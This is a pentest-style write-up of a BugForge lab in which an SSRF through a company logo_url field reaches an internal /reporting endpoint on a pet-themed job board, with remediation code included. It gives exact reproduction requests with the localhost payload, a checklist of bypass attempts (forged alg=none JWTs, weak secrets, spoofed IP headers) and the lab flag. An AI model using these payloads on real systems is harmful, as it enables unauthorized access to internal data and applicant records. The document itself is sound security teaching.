BugForge — 2026.05.09

FurHire: SSRF to Internal Reporting Endpoint

BugForge Server-Side Request Forgery medium

Part 1: Pentest Report

Executive Summary

FurHire is a pet-themed job board on the BugForge platform, built on Express with Socket.io for real-time application events. Recruiters post jobs and manage company profiles; applicants register and apply. Authentication uses HS256 JWTs sent as Authorization: Bearer <token>, with two roles in the wild (recruiter, user).

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Server-Side Request Forgery via company logo_url field Critical 9.0 CWE-918 PUT /api/company → GET /api/company/:id/logo

The logo URL field on the recruiter’s company profile is fetched server-side and the response is proxied back to the requester verbatim. The fetcher accepts arbitrary URLs with no scheme or host validation, including http://localhost:3000. This bypasses the source-IP gate on the internal /reporting endpoint, exposing every job and every applicant record on the platform along with the lab flag.


Objective

Capture the lab flag. Operator framing referenced “find the source code”; the actual payoff was cross-tenant data exposure plus a flag delivered as an extra top-level key in an internal JSON response.


Scope / Initial Access

# Target Application
URL: https://lab-1778281312992-0l9iol.labs-app.bugforge.io

# Auth details
Self registration at POST /api/register?role=recruiter (or role=user).
JWT HS256, payload {id, username, role, iat}.
Sent as Authorization: Bearer <token>.
No password reset, no admin login surface visible.
Two roles in the wild: recruiter, user.

Registration is open. We registered as a recruiter to gain access to the company profile and logo-read endpoints.


Reconnaissance: Discovering /reporting by Endpoint Differential

The lab’s hint pointed at a “reporting endpoint.” We swept plausible candidate paths with auth preserved, watching for any response shape that wasn’t a 404.

  1. 17 of 18 candidate paths returned a 404 with the standard Cannot GET /path body.
  2. /reporting returned 403 with {"error":"Access denied"} and Content-Length 220. Existence by differential.
  3. OPTIONS on /reporting returned 200 with Allow: GET,HEAD, confirming the route is registered for GET only.
  4. The recruiter company profile accepts a logo_url field. GET /api/company/:id/logo returned 404 when no logo URL had been set, suggesting a fetch-on-read handler rather than a static asset.

Observations 1 through 3 motivated the bypass batch against /reporting. Observation 4 motivated the SSRF probe once the bypass batch was exhausted.


Application Architecture

Component Detail
Backend Express, port 3000 internally (observed via SSRF)
Real-time Socket.io for new_application and status_update events
Frontend Pages at /, /register, /onboarding, /dashboard, /post-job, /jobs, /jobs/:id, /jobs/:id/applicants, /my-applications, /profile, /company
Auth HS256 JWT, payload {id, username, role, iat}, sent as Bearer
Roles recruiter, user
Edge Reverse proxy fronts the app; Host header mismatches return a different 404 page

API Surface (relevant endpoints)

Endpoint Method Auth Notes
/api/register POST No Self registration; role chosen via query param
/api/company PUT recruiter Accepts logo_url; URL is fetched on demand by the logo read
/api/company/:id/logo GET recruiter Server-side fetch of logo_url, response body proxied verbatim
/reporting GET (gate) Returns full cross-tenant data plus flag; access gated on source IP

Attack Chain Visualization

┌────────────────┐    ┌─────────────────────────┐    ┌──────────────────────┐    ┌────────────────────────┐
│  Register as   │ ─▶ │  PUT /api/company       │ ─▶ │  GET /api/company/   │ ─▶ │  Response body =       │
│  recruiter,    │    │  logo_url =             │    │  3/logo              │    │  /reporting JSON       │
│  create        │    │  http://localhost:3000  │    │  (server fetches the │    │  with all jobs, all    │
│  company       │    │  /reporting             │    │  URL and proxies it) │    │  applicants, and flag  │
└────────────────┘    └─────────────────────────┘    └──────────────────────┘    └────────────────────────┘

Findings

F1: Server-Side Request Forgery via company logo_url field

Severity: Critical CVSS v3.1: 9.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N CWE: CWE-918 (Server-Side Request Forgery) Endpoint: PUT /api/company (write) → GET /api/company/:id/logo (fetch trigger) Authentication required: Yes (any registered recruiter)

Description

The logo_url field on the recruiter company profile is stored on PUT and fetched server-side when the logo is later read via GET /api/company/:id/logo. The fetched response body is proxied back to the requester verbatim. The handler accepts arbitrary HTTP URLs with no scheme allowlist, no host allowlist, and no rejection of loopback or private network ranges. Setting logo_url to http://localhost:3000/reporting causes the server to fetch its own internal /reporting endpoint from a 127.0.0.1 source, satisfying the IP gate on that endpoint and returning its JSON body (all jobs, all applications with applicant PII, and the lab flag) through the logo read.

Impact

Cross-tenant read of every job and every applicant record on the platform, plus the lab flag.

Reproduction

Step 1: Authenticate as a recruiter

POST /api/register?role=recruiter HTTP/1.1
Host: lab-1778281312992-0l9iol.labs-app.bugforge.io
Content-Type: application/json

{"username":"r1","password":"r1","email":"[email protected]","full_name":"r1"}

Response: 200 with a JWT in the body. Use as Authorization: Bearer <jwt> for the next two requests.

Step 2: Set logo_url to the internal target

PUT /api/company HTTP/1.1
Host: lab-1778281312992-0l9iol.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"company_name":"biz","industry":"pet","description":"d",
 "location":"local","website":"https://website.biz",
 "logo_url":"http://localhost:3000/reporting"}

Response: 200. Profile now references the internal URL.

Step 3: Trigger the fetch and read the response

GET /api/company/3/logo HTTP/1.1
Host: lab-1778281312992-0l9iol.labs-app.bugforge.io
Authorization: Bearer <jwt>

Response: 200 with Content-Type: text/html and a JSON body proxied from /reporting:

{
  "jobs": [ ...all jobs across recruiters 4, 5, 6... ],
  "applications": [
    {"id":1,"status":"rejected",
     "username":"deadbeat","email":"[email protected]",
     "full_name":"deadbeat","job_title":"job","company_name":"biz",
     "created_at":"...","updated_at":"..."}
  ],
  "flag":"bug{Zmhwk1D7JHRDUFYnXj8zkOprcMM4ENHl}"
}

Remediation

Fix 1: Validate logo_url server-side before accepting it

// BEFORE (vulnerable)
app.put('/api/company', auth, async (req, res) => {
  const { company_name, industry, description, location, website, logo_url } = req.body;
  await db.upsertCompany(req.user.id, {
    company_name, industry, description, location, website, logo_url
  });
  res.json({ ok: true });
});

// AFTER (secure)
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

async function safeExternalUrl(input) {
  const u = new URL(input);
  if (u.protocol !== 'https:') throw new Error('https only');
  const { address } = await dns.lookup(u.hostname);
  const range = ipaddr.parse(address).range();
  const blocked = ['private', 'loopback', 'linkLocal', 'uniqueLocal',
                   'unspecified', 'reserved', 'broadcast'];
  if (blocked.includes(range)) throw new Error('disallowed network range');
  return u.toString();
}

app.put('/api/company', auth, async (req, res) => {
  const { company_name, industry, description, location, website, logo_url } = req.body;
  let safeLogo = null;
  try { safeLogo = await safeExternalUrl(logo_url); }
  catch { return res.status(400).json({ error: 'invalid logo_url' }); }
  await db.upsertCompany(req.user.id, {
    company_name, industry, description, location, website, logo_url: safeLogo
  });
  res.json({ ok: true });
});

Fix 2: Cache the fetched logo, do not proxy live on every read

// BEFORE (vulnerable)
app.get('/api/company/:id/logo', auth, async (req, res) => {
  const company = await db.getCompany(req.params.id);
  const upstream = await fetch(company.logo_url);
  res.type(upstream.headers.get('content-type') || 'application/octet-stream');
  upstream.body.pipe(res);
});

// AFTER (secure)
app.get('/api/company/:id/logo', auth, async (req, res) => {
  const company = await db.getCompany(req.params.id);
  const cached = await storage.getLogo(company.id);
  if (!cached) return res.status(404).json({ error: 'no logo' });
  res.type(cached.contentType).send(cached.bytes);
});

// Logo ingestion runs at write time, not at read time.
async function ingestLogo(companyId, url) {
  const safe = await safeExternalUrl(url);
  const r = await fetch(safe, { redirect: 'manual', timeout: 5000 });
  const ct = r.headers.get('content-type') || '';
  if (!ct.startsWith('image/')) throw new Error('not an image');
  const bytes = Buffer.from(await r.arrayBuffer());
  if (bytes.length > 2_000_000) throw new Error('logo too large');
  await storage.putLogo(companyId, { contentType: ct, bytes });
}

Additional recommendations:

  • Do not rely on source-IP gating alone for any internal endpoint. Add a signed token or peer credential check so an SSRF reaching loopback still cannot satisfy the gate.
  • Restrict the lab process’s outbound network policy so it cannot reach 127.0.0.1, 169.254.169.254 (cloud metadata), or RFC1918 ranges except where explicitly required.
  • Reject responses on the logo read whose Content-Type is not image/*.

OWASP Top 10 Coverage

  • A10:2021 Server-Side Request Forgery: the logo_url field is fetched server-side without scheme, host, or response-type validation.
  • A01:2021 Broken Access Control: the /reporting endpoint relies on source-IP gating alone and dumps cross-tenant data once that gate is satisfied.

Tools Used

Tool Purpose
Caido Request capture, replay, and edit-and-resend for the bypass batch
interactsh-client (oob) Out-of-band confirmation that logo_url was being fetched server-side, before pivoting to localhost
jwtforge alg=none and weak HS256 forging during the bypass batch (ruled JWT out as the gate)
curl Final reproduction

References

  • CWE-918: Server-Side Request Forgery: https://cwe.mitre.org/data/definitions/918.html
  • OWASP Top 10 A10:2021: https://owasp.org/Top10/A102021-Server-Side_Request_Forgery%28SSRF%29/
  • OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

Part 2: Notes / Knowledge

Key Learnings

  • Direct bypass attempts have a punch list. Once it’s run, pivot to an indirect path before reaching for more creative direct probes. The punch list is auth stripped, auth forged with alg=none and weak HS secrets, role swaps, the IP and proxy header set, Host smuggling, common bot user agents, query parameters, method overrides, sub paths. Run it once. When the responses haven’t moved, that’s the exit condition. Stop probing the envelope and start hunting for somewhere the server makes its own outbound HTTP request: logo or avatar or image proxies, webhook senders, OAuth callback validators, URL preview generators, any form field whose name suggests a URL value. Those server-initiated fetches carry the trusted source IP and internal network position with them, which is the thing the direct path lacks. Confirm the SSRF surface in three stages so the final result is unambiguous: first a known good resource of the expected type to confirm the field is being fetched at all, then a URL pointing at a collector you control to confirm the fetch is server-side and to see whether the response comes back verbatim or summarized, then the privileged target last.

Failed Approaches

Approach Result Why It Failed
GET /reporting unauthenticated 403 Access denied Gate is not based on auth presence
GET /reporting with a valid recruiter JWT 403 Access denied (identical to unauth) Gate does not read auth at all
JWT alg=none with role=admin/superadmin/moderator/reporter/staff/internal 403 Access denied Gate is not role based
HS256 with weak secrets (secret, furhire, FurHire, supersecret, jwtsecret, changeme, password, admin, test, empty) 403 Access denied Gate is not JWT validated
14 IP/proxy headers (X-Forwarded-For, X-Real-IP, X-Originating-IP, Forwarded, X-Forwarded-Host, X-Custom-IP-Authorization, Client-IP, True-Client-IP) with values 127.0.0.1, localhost, ::1, RFC1918 ranges 403 Access denied Gate does not read forwarded-IP headers
Host header smuggling (Host: localhost / 127.0.0.1 / internal) Reverse proxy 404 (different body from app 404) Hits the edge proxy’s vhost mismatch handler, not the app
Bot user agents (Googlebot, Bingbot, Slackbot, Twitterbot, facebookexternalhit, Mozilla-Googlebot, empty UA) 403 Access denied Gate does not read User-Agent
Origin and Referer with localhost values 403 Access denied Gate does not read Origin or Referer
8 query parameters (?key=, ?token=, ?debug=1, ?internal=1, ?source=1, ?admin=1, ?access=true, ?role=admin) 403 Access denied Gate does not read query parameters
Method-override headers (X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL) 403 Access denied or 404 OPTIONS shows the route is GET-only and Express does not honor these headers
Sub-paths (/reporting/, /reporting/source, /reporting/admin, /reporting/health, /reporting/test, /reporting/foo, /api/reporting/data) 404 Only the bare /reporting path is registered
Error-forcing on existing endpoints (non-numeric path params, malformed JSON) Clean 404 / generic 400 App is in production mode with hardened error handlers; no stack traces leak
SSRF on the website field (OOB probe) No interactions Only logo_url is fetched by any reader we triggered

Tags: #ssrf #bugforge #webapp #express #cwe-918 #owasp-a10 Document Version: 1.0 Last Updated: 2026-05-09

#ssrf #bugforge #webapp #express #cwe-918 #owasp-a10